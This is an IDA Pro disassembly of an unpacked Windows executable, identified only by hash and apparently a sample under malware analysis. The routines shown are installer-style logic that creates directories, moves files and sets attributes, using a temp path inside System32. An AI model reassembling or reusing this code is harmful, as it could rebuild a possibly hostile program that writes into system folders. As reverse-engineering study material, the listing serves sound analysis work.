;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	2101F18A14499EB0365CBBD0C3E7850C

; File Name   :	u:\work\2101f18a14499eb0365cbbd0c3e7850c_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00005BFE (  23550.)
; Section size in file		: 00005BFE (  23550.)
; Offset to raw	data for section: 00001000
; Flags	60000020: Text Executable Readable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Execute
_text		segment	para public 'CODE' use32
		assume cs:_text
		;org 401000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; DATA XREF: sub_403542+17Ao

var_5C		= byte ptr -5Ch
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		cmp	[ebp+arg_4], 0Fh ; DATA	XREF: .data:0040FDF4r
					; .data:0041020Er ...
		jz	short loc_401037


loc_40100C:				; DATA XREF: .data:0040FE00r
					; .data:0040FE7Dr ...
		cmp	[ebp+arg_4], 46h


loc_401010:				; DATA XREF: .data:00410AF0r
					; .data:0041CB48r
		mov	eax, [ebp+arg_C]
		jnz	short loc_401022 ; DATA	XREF: .data:0040FD6Er
					; .data:00410D70r ...
		or	dword ptr [eax+18h], 10h ; DATA	XREF: .data:00411271r
					; .data:0041D2C9r
		mov	ecx, dword_42F424 ; DATA XREF: .data:0040FDA0r
					; .data:0041022Dr ...
		mov	[eax+4], ecx


loc_401022:				; CODE XREF: sub_401000+13j
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]	; DATA XREF: .data:0040FBDEr
					; .data:004109BDr ...
		push	[ebp+arg_0]


loc_40102C:				; DATA XREF: .data:0040FC63r
					; .data:0040FCE6r ...
		call	ds:dword_407240	; DefWindowProcA
		jmp	locret_401179	; DATA XREF: .data:00410BECr
					; .data:0041CC44r
; ---------------------------------------------------------------------------


loc_401037:				; CODE XREF: sub_401000+Aj
		push	ebx


loc_401038:				; DATA XREF: .data:0040FD56r
					; .data:00410AC9r ...
		push	esi
		mov	esi, dword_42F428 ; DATA XREF: .data:00410F3Fr
					; .data:0041CF97r
		lea	eax, [ebp+var_5C]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_407244	; DATA XREF: .data:0040FE59r
					; .data:0040FF03r ...
		and	[ebp+var_C], 0	; DATA XREF: .data:004112C1r
					; .data:00411336r ...
		mov	[ebp+arg_4], eax


loc_401054:				; DATA XREF: sub_40DDF0r sub_419E48r
		lea	eax, [ebp+var_1C]
		push	eax


loc_401058:				; DATA XREF: .data:00410B84r
					; .data:0041106Br ...
		push	[ebp+arg_0]
		call	ds:dword_407248	; DATA XREF: .data:004111CCr
					; .data:004112F0r ...
		mov	edi, [ebp+var_10]


loc_401064:				; DATA XREF: .data:0040FE6Ar
					; .data:0040FF14r ...
		and	[ebp+var_10], 0


loc_401068:				; DATA XREF: .data:00410B7Cr
					; .data:0041CBD4r ...
		mov	ebx, ds:dword_407044
		jmp	loc_4010F3	; DATA XREF: .data:004117A3r
					; .data:004118D6r ...
; ---------------------------------------------------------------------------


loc_401073:				; CODE XREF: sub_401000+F6j
		movzx	eax, byte ptr [esi+52h]
		movzx	edx, byte ptr [esi+56h]	; DATA XREF: .data:0040FD64r
					; .data:00410AD4r ...
		imul	edx, [ebp+var_18]
		mov	ecx, edi	; DATA XREF: .data:004101EFr
					; .data:0041C247r
		sub	ecx, [ebp+var_18]
		imul	eax, ecx
		add	eax, edx
		mov	[ebp+arg_8], ecx


loc_40108C:				; DATA XREF: .data:0040DDF8o
					; .data:00419E50o
		cdq
		idiv	edi
		xor	edx, edx	; DATA XREF: .data:0040FDE5r
					; .data:0041BE3Dr
		mov	dh, al
		movzx	eax, byte ptr [esi+51h]
		imul	eax, ecx
		movzx	ecx, byte ptr [esi+55h]	; DATA XREF: .data:0041148Fr
					; .data:00411605r ...
		imul	ecx, [ebp+var_18]
		add	eax, ecx


loc_4010A4:				; DATA XREF: .data:0041016Er
					; .data:004103B9r ...
		mov	ecx, edx
		cdq
		idiv	edi		; DATA XREF: .data:004101E8r
					; .data:004103ABr ...
		movzx	edx, byte ptr [esi+54h]	; DATA XREF: .data:00410F56r
					; .data:0041102Br ...
		imul	edx, [ebp+var_18] ; DATA XREF: .data:004111B2r
					; .data:0041D20Ar
		mov	cl, al
		movzx	eax, byte ptr [esi+50h]
		imul	eax, [ebp+arg_8] ; DATA	XREF: .data:loc_4113B7r
					; .data:loc_41D40Fr
		add	eax, edx	; DATA XREF: .data:00410B54r
					; .data:00410F61r ...
		cdq
		idiv	edi


loc_4010C0:				; DATA XREF: .data:00410AE2r
					; .data:0041CB3Ar
		shl	ecx, 8
		movzx	eax, al		; DATA XREF: .data:00410F0Ar
					; .data:0041CF62r
		or	ecx, eax
		lea	eax, [ebp+var_C]
		push	eax
		mov	[ebp+var_8], ecx
		call	ds:dword_407048	; DATA XREF: .data:0040FB33r
					; .data:0040FC01r ...
		add	[ebp+var_10], 4	; DATA XREF: .data:00410364r
					; .data:004103EFr ...
		mov	[ebp+arg_C], eax
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_4]


loc_4010E4:				; DATA XREF: .data:00410F6Er
					; .data:00411078r ...
		call	ds:dword_40724C	; FillRect
		push	[ebp+arg_C]	; DATA XREF: .data:0041149Dr
					; .data:00411613r ...
		call	ebx	; DeleteObject
		add	[ebp+var_18], 4	; DATA XREF: .data:004117AAr
					; .data:004118DDr ...


loc_4010F3:				; CODE XREF: sub_401000+6Ej
					; DATA XREF: .data:0040FDC9r ...
		cmp	[ebp+var_18], edi
		jl	loc_401073	; DATA XREF: .data:0040FEAAr
					; .data:0040FF54r ...


loc_4010FC:				; DATA XREF: .data:004114DAr
					; .data:00411528r ...
		cmp	dword ptr [esi+58h], 0FFFFFFFFh


loc_401100:				; DATA XREF: .data:004117B8r
					; .data:0041D810r
		jz	short loc_401167
		push	dword ptr [esi+34h]
		call	ds:dword_40704C	; DATA XREF: .data:0040FBECr
					; .data:004109D9r ...
		test	eax, eax
		mov	[ebp+arg_C], eax
		jz	short loc_401167
		mov	edi, [ebp+arg_4]
		push	1
		push	edi


loc_401118:				; DATA XREF: .data:0040FC81r
					; .data:0040FD7Er ...
		mov	[ebp+var_1C], 10h
		mov	[ebp+var_18], 8
		call	ds:dword_407050	; SetBkMode
		push	dword ptr [esi+58h]
		push	edi
		call	ds:dword_407054	; SetTextColor
		push	[ebp+arg_C]
		mov	esi, ds:dword_407058
		push	edi
		call	esi	; SelectObject
		mov	[ebp+arg_4], eax
		lea	eax, [ebp+var_1C]
sub_401000	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_401148	proc near		; DATA XREF: .data:00410C45o
					; .data:0041CC9Do
		push	820h
		push	eax
		push	0FFFFFFFFh
		push	offset aNameSetup ; "Name Setup"
		push	edi
		call	ds:dword_407250	; DrawTextA
		push	dword ptr [ebp+0Ch]
		push	edi
		call	esi	; SelectObject
		push	dword ptr [ebp+14h]
		call	ebx	; DeleteObject


loc_401167:				; CODE XREF: sub_401000:loc_401100j
					; sub_401000+110j
		lea	eax, [ebp-5Ch]
		push	eax
		push	dword ptr [ebp+8]


loc_40116E:				; DATA XREF: .data:0040DD6Co
					; .data:00419DC4o
		call	ds:dword_407254	; EndPaint
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx

locret_401179:				; CODE XREF: sub_401000+32j
		leave
		retn	10h
sub_401148	endp


; =============== S U B	R O U T	I N E =======================================



sub_40117D	proc near		; CODE XREF: sub_402821+7Cp
					; sub_4046C3+314p

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		mov	eax, dword_42F448
		mov	edx, ecx
		push	ebx
		imul	edx, 418h
		push	esi
		push	edi
		mov	edx, [edx+eax+8]
		test	dl, 2
sub_40117D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_401198	proc near		; DATA XREF: .data:00411172o
					; .data:0041D1CAo
		jz	short loc_4011E9
		lea	esi, [ecx+1]
		xor	edi, edi
		cmp	esi, dword_42F44C
		jnb	short loc_4011E9
		mov	ecx, esi
		imul	ecx, 418h
		lea	eax, [ecx+eax+8]


loc_4011B3:				; CODE XREF: sub_4011D0+17j
		mov	ecx, [eax]
		test	cl, 2
sub_401198	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4011B8	proc near		; DATA XREF: .data:004113E2o
					; .data:0041D43Ao
		jz	short loc_4011BD
		inc	edi
		jmp	short loc_4011DB
; ---------------------------------------------------------------------------


loc_4011BD:				; CODE XREF: sub_4011B8j
		test	cl, 4
sub_4011B8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4011C0	proc near		; DATA XREF: .data:00411452o
					; .data:0041D4AAo
		jz	short loc_4011CB
		mov	ecx, edi
		dec	edi
		test	ecx, ecx
		jz	short loc_4011E9
		jmp	short loc_4011DB
; ---------------------------------------------------------------------------


loc_4011CB:				; CODE XREF: sub_4011C0j
		test	cl, 10h
		jnz	short loc_4011DB
sub_4011C0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4011D0	proc near		; DATA XREF: .data:004115B5o
					; .data:0041D60Do
		mov	ebx, ecx
		xor	ebx, edx
		and	ebx, 1
		xor	ebx, ecx
		mov	[eax], ebx


loc_4011DB:				; CODE XREF: sub_4011B8+3j
					; sub_4011C0+9j ...
		inc	esi
		add	eax, 418h
		cmp	esi, dword_42F44C
		jb	short loc_4011B3


loc_4011E9:				; CODE XREF: sub_401198j sub_401198+Dj ...
		pop	edi
		pop	esi
		pop	ebx
		retn	4
sub_4011D0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4011EF	proc near		; CODE XREF: sub_4011EF+56p
					; sub_4028A8+20p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	esi, edx
		imul	esi, 418h
		mov	ebx, dword_42F448
		xor	ecx, ecx
		add	esi, ebx
		push	edi
		mov	[ebp+var_4], ecx
		mov	[ebp+var_8], ecx
		mov	eax, [esi+8]
		test	al, 2
		jz	short loc_401224
		cmp	[ebp+arg_4], ecx
		jz	short loc_401224
		and	al, 0BEh
		inc	edx
		mov	[esi+8], eax


loc_401224:				; CODE XREF: sub_4011EF+28j
					; sub_4011EF+2Dj
		cmp	edx, dword_42F44C
		jnb	short loc_401270


loc_40122C:				; CODE XREF: sub_4011EF+7Fj
		mov	eax, edx
		imul	eax, 418h
		lea	edi, [eax+ebx+8]
		lea	eax, [edx+1]
		mov	ecx, [edi]
		test	cl, 2
		jz	short loc_40124C
		push	1
		push	edx
		call	sub_4011EF
		mov	ecx, [edi]


loc_40124C:				; CODE XREF: sub_4011EF+51j
		test	cl, 4
		jnz	short loc_401279
		test	cl, 40h
		jz	short loc_401259
		inc	[ebp+var_4]


loc_401259:				; CODE XREF: sub_4011EF+65j
		test	cl, 1
		jz	short loc_401263
		inc	[ebp+var_4]
		jmp	short loc_401266
; ---------------------------------------------------------------------------


loc_401263:				; CODE XREF: sub_4011EF+6Dj
		inc	[ebp+var_8]


loc_401266:				; CODE XREF: sub_4011EF+72j
		cmp	eax, dword_42F44C
		mov	edx, eax
		jb	short loc_40122C


loc_401270:				; CODE XREF: sub_4011EF+3Bj
		xor	eax, eax


loc_401272:				; CODE XREF: sub_4011EF+8Ej
					; sub_4011EF+9Aj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
; ---------------------------------------------------------------------------


loc_401279:				; CODE XREF: sub_4011EF+60j
		cmp	[ebp+var_4], 0
		jz	short loc_401272
		cmp	[ebp+var_8], 0
		jz	short loc_40128B
		or	dword ptr [esi+8], 40h
		jmp	short loc_401272
; ---------------------------------------------------------------------------


loc_40128B:				; CODE XREF: sub_4011EF+94j
		mov	ecx, [esi+8]
		and	cl, 7Fh
		or	ecx, 1
		mov	[esi+8], ecx
		jmp	short loc_401272
sub_4011EF	endp


; =============== S U B	R O U T	I N E =======================================



sub_401299	proc near		; CODE XREF: sub_4028A8+19p
					; sub_4046C3+3E1p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		mov	eax, dword_42F448
		push	esi
		xor	esi, esi
		cmp	ecx, 20h
		jnb	short loc_4012DE
		cmp	dword_42F44C, esi
		jbe	short loc_4012DE
		lea	edx, [eax+8]
		push	edi


loc_4012B6:				; CODE XREF: sub_401299+42j
		mov	eax, [edx]
		test	al, 6
		jnz	short loc_4012CE
		xor	edi, edi
		inc	edi
		shl	edi, cl
		test	[edx-4], edi
		jz	short loc_4012CA
		or	al, 1
		jmp	short loc_4012CC
; ---------------------------------------------------------------------------


loc_4012CA:				; CODE XREF: sub_401299+2Bj
		and	al, 0FEh


loc_4012CC:				; CODE XREF: sub_401299+2Fj
		mov	[edx], eax


loc_4012CE:				; CODE XREF: sub_401299+21j
		inc	esi
		add	edx, 418h
		cmp	esi, dword_42F44C
		jb	short loc_4012B6
		pop	edi


loc_4012DE:				; CODE XREF: sub_401299+Fj
					; sub_401299+17j
		pop	esi
		retn	4
sub_401299	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4012E2	proc near		; CODE XREF: sub_4028A8+28p
					; sub_4046C3+47Ep

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, dword_42F428
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		add	eax, 94h
		push	edi
		mov	edi, dword_42F44C
		mov	[ebp+var_8], eax


loc_401302:				; CODE XREF: sub_4012E2+7Fj
		mov	eax, [ebp+var_8]
		xor	ebx, ebx
		cmp	[eax], ebx
		jz	short loc_401356
		cmp	ebx, edi
		jnb	short loc_401354
		mov	esi, dword_42F448
		add	esi, 8


loc_401318:				; CODE XREF: sub_4012E2+6Ej
		mov	edx, [esi]
		test	dl, 6
		jnz	short loc_401347
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_40132C
		cmp	dword ptr [eax+ebx*4], 0
		jz	short loc_401347


loc_40132C:				; CODE XREF: sub_4012E2+42j
		mov	ecx, [ebp+var_4]
		xor	eax, eax
		inc	eax
		and	edx, 1
		shl	eax, cl
		mov	ecx, [esi-4]
		and	ecx, eax
		mov	eax, ecx
		mov	ecx, [ebp+var_4]
		shl	edx, cl
		cmp	eax, edx
		jnz	short loc_401352


loc_401347:				; CODE XREF: sub_4012E2+3Bj
					; sub_4012E2+48j
		inc	ebx
		add	esi, 418h
		cmp	ebx, edi
		jb	short loc_401318


loc_401352:				; CODE XREF: sub_4012E2+63j
		cmp	ebx, edi


loc_401354:				; CODE XREF: sub_4012E2+2Bj
		jz	short loc_401363


loc_401356:				; CODE XREF: sub_4012E2+27j
		inc	[ebp+var_4]
		add	[ebp+var_8], 4
		cmp	[ebp+var_4], 20h
		jb	short loc_401302


loc_401363:				; CODE XREF: sub_4012E2:loc_401354j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_4012E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_40136D	proc near		; CODE XREF: sub_401410+10p
					; sub_401439+99p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		jmp	loc_4013FB
; ---------------------------------------------------------------------------


loc_401377:				; CODE XREF: sub_40136D+90j
		mov	eax, esi
		mov	ecx, dword_42F450
		imul	eax, 1Ch
		add	eax, ecx
		cmp	dword ptr [eax], 1


loc_401387:				; DATA XREF: .data:0040E680o
					; .data:0040E714o ...
		jz	short loc_401403
		push	eax


loc_40138A:				; DATA XREF: .data:0040E684o
					; .data:0040E718o ...
		call	sub_401439
		cmp	eax, 7FFFFFFFh


loc_401394:				; DATA XREF: .data:0040E688o
					; .data:0040E71Co ...
		jz	short loc_401409
		test	eax, eax
		jge	short loc_4013AD
		inc	eax
		mov	ecx, offset dword_430000
		shl	eax, 0Ah
		sub	ecx, eax
		push	ecx
		call	sub_405952
		test	eax, eax


loc_4013AD:				; CODE XREF: sub_40136D+2Bj
		jnz	short loc_4013B5
		xor	eax, eax
		inc	eax
		inc	esi
		jmp	short loc_4013BC
; ---------------------------------------------------------------------------


loc_4013B5:				; CODE XREF: sub_40136D:loc_4013ADj
		dec	eax
		mov	ecx, esi
		mov	esi, eax
		sub	eax, ecx


loc_4013BC:				; CODE XREF: sub_40136D+46j
		cmp	[esp+4+arg_4], 0
		jz	short loc_4013FB
		add	dword_42EC0C, eax
		mov	eax, dword_42EBF4
		xor	ecx, ecx
		push	0
		test	eax, eax
		setz	cl
		add	ecx, eax
		push	ecx
		push	7530h
		push	dword_42EC0C
		call	ds:dword_40712C	; MulDiv
		push	eax


loc_4013EC:				; DATA XREF: .data:0040E14Co
					; .data:0041A1A4o
		push	402h
		push	[esp+0Ch+arg_8]
		call	ds:dword_40723C	; SendMessageA


loc_4013FB:				; CODE XREF: sub_40136D+5j
					; sub_40136D+54j
		test	esi, esi
		jge	loc_401377


loc_401403:				; CODE XREF: sub_40136D:loc_401387j
		xor	eax, eax


loc_401405:				; CODE XREF: sub_40136D+A1j
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_401409:				; CODE XREF: sub_40136D:loc_401394j
		mov	eax, 7FFFFFFFh
		jmp	short loc_401405
sub_40136D	endp


; =============== S U B	R O U T	I N E =======================================



sub_401410	proc near		; CODE XREF: start+39Ap
					; sub_403542+1ECp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, dword_42F428
		push	0
		push	dword ptr [ecx+eax*4+6Ch]
		call	sub_40136D
		retn	4
sub_401410	endp


; =============== S U B	R O U T	I N E =======================================



sub_401428	proc near		; CODE XREF: sub_401439+1FEp
					; sub_401439+A2Cp ...

arg_0		= dword	ptr  4

		push	offset aCWindowsSystem ; "C:\\WINDOWS\\System32\\vMW03a"
		push	[esp+4+arg_0]
		call	sub_404D7E
		retn	4
sub_401428	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401439	proc near		; CODE XREF: sub_40136D:loc_40138Ap

var_58		= byte ptr -58h
var_44		= byte ptr -44h
var_40		= byte ptr -40h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 00401F1B SIZE 00000089 BYTES
; FUNCTION CHUNK AT 00401FDC SIZE 00000034 BYTES
; FUNCTION CHUNK AT 004020A6 SIZE 00000026 BYTES

		push	ebp
		mov	ebp, esp
		sub	esp, 1A4h
		mov	eax, dword_42F424
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		push	7
		pop	ecx
		lea	edi, [ebp+var_28]
		mov	[ebp+var_8], eax
		xor	ebx, ebx
		rep movsd
		mov	eax, [ebp+var_24]
		mov	edi, [ebp+var_20]
		mov	esi, eax
		mov	ecx, offset dword_430000
		shl	esi, 0Ah
		shl	edi, 0Ah
		add	esi, ecx
		add	edi, ecx
		lea	ecx, [ebp+var_24]
		mov	[ebp+var_4], ebx
		mov	dword_40943C, ecx
		mov	ecx, [ebp+var_28]
		add	ecx, 0FFFFFFFEh	; switch 66 cases
		cmp	ecx, 41h
		ja	loc_40292F	; default
					; jumptable 0040148C cases 65,66
		jmp	ds:off_402941[ecx*4] ; switch jump


loc_401493:				; DATA XREF: .text:off_402941o
		push	ebx		; jumptable 0040148C case 3
		push	eax


loc_401495:				; CODE XREF: sub_401439+471j
		call	sub_404D7E
		jmp	loc_402293
; ---------------------------------------------------------------------------


loc_40149F:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		inc	dword_42EBEC	; jumptable 0040148C case 4
		cmp	[ebp+var_8], ebx
		jz	loc_402293
		push	ebx
		call	ds:dword_4071EC	; PostQuitMessage
		jmp	loc_402293
; ---------------------------------------------------------------------------


loc_4014BA:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		cmp	eax, ebx	; jumptable 0040148C case 5
		jge	short loc_4014CF
		inc	eax
		mov	ecx, offset dword_430000
		shl	eax, 0Ah
		sub	ecx, eax
		push	ecx
		call	sub_405952


loc_4014CF:				; CODE XREF: sub_401439+83j
		dec	eax
		push	ebx
		push	eax
		call	sub_40136D
		jmp	loc_40293A	; jumptable 0040148C case 2
; ---------------------------------------------------------------------------


loc_4014DC:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		mov	ecx, [ebp+var_20] ; jumptable 0040148C case 6
		cmp	ecx, ebx
		jz	short loc_40150C
		test	cl, 8
		jz	short loc_4014F7
		mov	eax, dword_40900C
		mov	dword_4092A0, eax
		jmp	loc_40292F	; default
					; jumptable 0040148C cases 65,66
; ---------------------------------------------------------------------------


loc_4014F7:				; CODE XREF: sub_401439+ADj
		mov	eax, dword_4092A0
		mov	dword_4092A0, ecx


loc_401502:				; DATA XREF: .data:0040E574o
					; .data:0041A5CCo
		mov	dword_40900C, eax
		jmp	loc_40292F	; default
					; jumptable 0040148C cases 65,66
; ---------------------------------------------------------------------------


loc_40150C:				; CODE XREF: sub_401439+A8j
		push	ebx
		push	eax
		call	sub_404D7E
		jmp	loc_40292F	; default
					; jumptable 0040148C cases 65,66
; ---------------------------------------------------------------------------


loc_401518:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		push	ebx		; jumptable 0040148C case 7
		call	sub_402A7D
		cmp	eax, 1
		jg	short loc_401526
		xor	eax, eax
		inc	eax


loc_401526:				; CODE XREF: sub_401439+E8j
		push	eax
		call	ds:dword_407090	; Sleep
		jmp	loc_40292F	; default
					; jumptable 0040148C cases 65,66
; ---------------------------------------------------------------------------


loc_401532:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		push	[ebp+var_8]	; jumptable 0040148C case 8
		call	ds:dword_4071F0	; SetForegroundWindow
		jmp	loc_40292F	; default
					; jumptable 0040148C cases 65,66
; ---------------------------------------------------------------------------


loc_401540:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		push	1		; jumptable 0040148C case 13
		call	sub_402A7D
		mov	ecx, [ebp+var_24]
		mov	dword_42F4A0[ecx*4], eax
		jmp	loc_40292F	; default
					; jumptable 0040148C cases 65,66
; ---------------------------------------------------------------------------


loc_401556:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		mov	eax, [ebp+var_1C] ; jumptable 0040148C case 14
		lea	esi, ds:42F4A0h[eax*4]
		xor	eax, eax
		mov	ecx, [esi]
		cmp	ecx, ebx
		setz	al
		and	ecx, [ebp+var_18]
		mov	eax, [ebp+eax*4+var_24]
		mov	[esi], ecx
		jmp	loc_40293A	; jumptable 0040148C case 2
; ---------------------------------------------------------------------------


loc_401577:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		mov	eax, [ebp+var_20] ; jumptable 0040148C case 15
		push	dword_42F4A0[eax*4]


loc_401581:				; CODE XREF: sub_401439+712j
					; sub_401439+89Dj ...
		push	esi
		jmp	loc_4028D7
; ---------------------------------------------------------------------------


loc_401587:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		mov	ecx, dword_42EBF0 ; jumptable 0040148C case 9
		mov	esi, ds:dword_407258
		cmp	ecx, ebx
		jz	short loc_4015A0
		push	[ebp+var_20]
		push	ecx
		call	esi	; ShowWindow
		mov	eax, [ebp+var_24]


loc_4015A0:				; CODE XREF: sub_401439+15Cj
		mov	ecx, dword_42EC04
		cmp	ecx, ebx
		jz	loc_40292F	; default
					; jumptable 0040148C cases 65,66
		push	eax
		push	ecx
		call	esi	; ShowWindow
		jmp	loc_40292F	; default
					; jumptable 0040148C cases 65,66
; ---------------------------------------------------------------------------


loc_4015B7:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		push	0FFFFFFF0h	; jumptable 0040148C case 10
		call	sub_402A9A
		push	[ebp+var_20]
		push	eax
		call	ds:dword_40708C	; SetFileAttributesA


loc_4015C8:				; CODE XREF: sub_401439+35Fj
					; sub_4021F6+EFj ...
		test	eax, eax


loc_4015CA:				; CODE XREF: sub_401439+484j
					; sub_4021F6+44Ej
		jnz	loc_40292F	; default
					; jumptable 0040148C cases 65,66
		jmp	loc_4026DA
; ---------------------------------------------------------------------------


loc_4015D5:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		push	0FFFFFFF0h	; jumptable 0040148C case 11
		call	sub_402A9A
		mov	edi, eax
		push	edi
		call	sub_40557B
		cmp	[edi], bl
		mov	esi, eax
		jz	short loc_401630
		cmp	esi, ebx
		jz	short loc_401630


loc_4015EE:				; CODE XREF: sub_401439+1F5j
		push	5Ch
		push	esi
		call	sub_405513
		mov	esi, eax
		push	ebx
		push	edi
		mov	al, [esi]
		mov	[esi], bl
		mov	byte ptr [ebp+arg_0+3],	al
		call	ds:dword_407088	; CreateDirectoryA
		test	eax, eax
		jnz	short loc_401626
		call	ds:dword_407084	; RtlGetLastWin32Error
		cmp	eax, 0B7h
		jnz	short loc_401623
		push	edi
		call	ds:dword_407080	; GetFileAttributesA
		test	al, 10h
		jnz	short loc_401626


loc_401623:				; CODE XREF: sub_401439+1DDj
		inc	[ebp+var_4]


loc_401626:				; CODE XREF: sub_401439+1D0j
					; sub_401439+1E8j
		mov	al, byte ptr [ebp+arg_0+3]
		mov	[esi], al
		inc	esi
		cmp	al, bl
		jnz	short loc_4015EE


loc_401630:				; CODE XREF: sub_401439+1AFj
					; sub_401439+1B3j
		cmp	[ebp+var_20], ebx
		jz	short loc_401653
		push	0FFFFFFE6h
		call	sub_401428
		push	edi
		push	offset aCWindowsSyst_0 ; "C:\\WINDOWS\\System32\\vMW03a"
		call	sub_4059DB
		push	edi
		call	ds:dword_40707C	; SetCurrentDirectoryA
		jmp	loc_40292F	; default
					; jumptable 0040148C cases 65,66
; ---------------------------------------------------------------------------


loc_401653:				; CODE XREF: sub_401439+1FAj
		push	0FFFFFFF5h
		jmp	loc_4021E8
; ---------------------------------------------------------------------------


loc_40165A:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		push	ebx		; jumptable 0040148C case 12
		call	sub_402A9A
		push	eax
		call	sub_405CB0
		jmp	loc_401CE8
; ---------------------------------------------------------------------------


loc_40166B:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		push	0FFFFFFD0h	; jumptable 0040148C case 16
		call	sub_402A9A
		push	0FFFFFFDFh
		mov	[ebp+arg_0], eax
		call	sub_402A9A
		push	[ebp+arg_0]
		mov	esi, offset aCWindowsSystem ; "C:\\WINDOWS\\System32\\vMW03a"
		mov	[ebp+var_8], eax
		push	esi
		call	sub_4059DB
		push	[ebp+var_8]
		call	sub_4059F1	; lstrlen
		push	[ebp+arg_0]
		mov	edi, eax
		call	sub_4059F1	; lstrlen
		add	edi, eax
		cmp	edi, 3FDh
		jge	short loc_4016BD
		push	offset asc_40901C ; "->"
		push	esi
		call	sub_4059F7	; lstrcat
		push	[ebp+var_8]
		push	esi
		call	sub_4059F7	; lstrcat


loc_4016BD:				; CODE XREF: sub_401439+26Ej
		push	[ebp+var_8]
		push	[ebp+arg_0]
		call	ds:dword_407078	; MoveFileA
		test	eax, eax
		jz	short loc_4016D4
		push	0FFFFFFE3h
		jmp	loc_4021E8
; ---------------------------------------------------------------------------


loc_4016D4:				; CODE XREF: sub_401439+292j
		cmp	[ebp+var_1C], ebx
		jz	loc_4026DA
		push	[ebp+arg_0]
		call	sub_405CB0
		test	eax, eax
		jz	loc_4026DA
		push	[ebp+var_8]
		push	[ebp+arg_0]
		call	sub_405723
		push	0FFFFFFE4h
		jmp	loc_4021E8
; ---------------------------------------------------------------------------


loc_4016FF:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		push	ebx		; jumptable 0040148C case 17
		call	sub_402A9A
		mov	esi, eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	edi
		push	400h
		push	esi
		call	ds:dword_407074	; GetFullPathNameA
		test	eax, eax
		jz	short loc_40173F
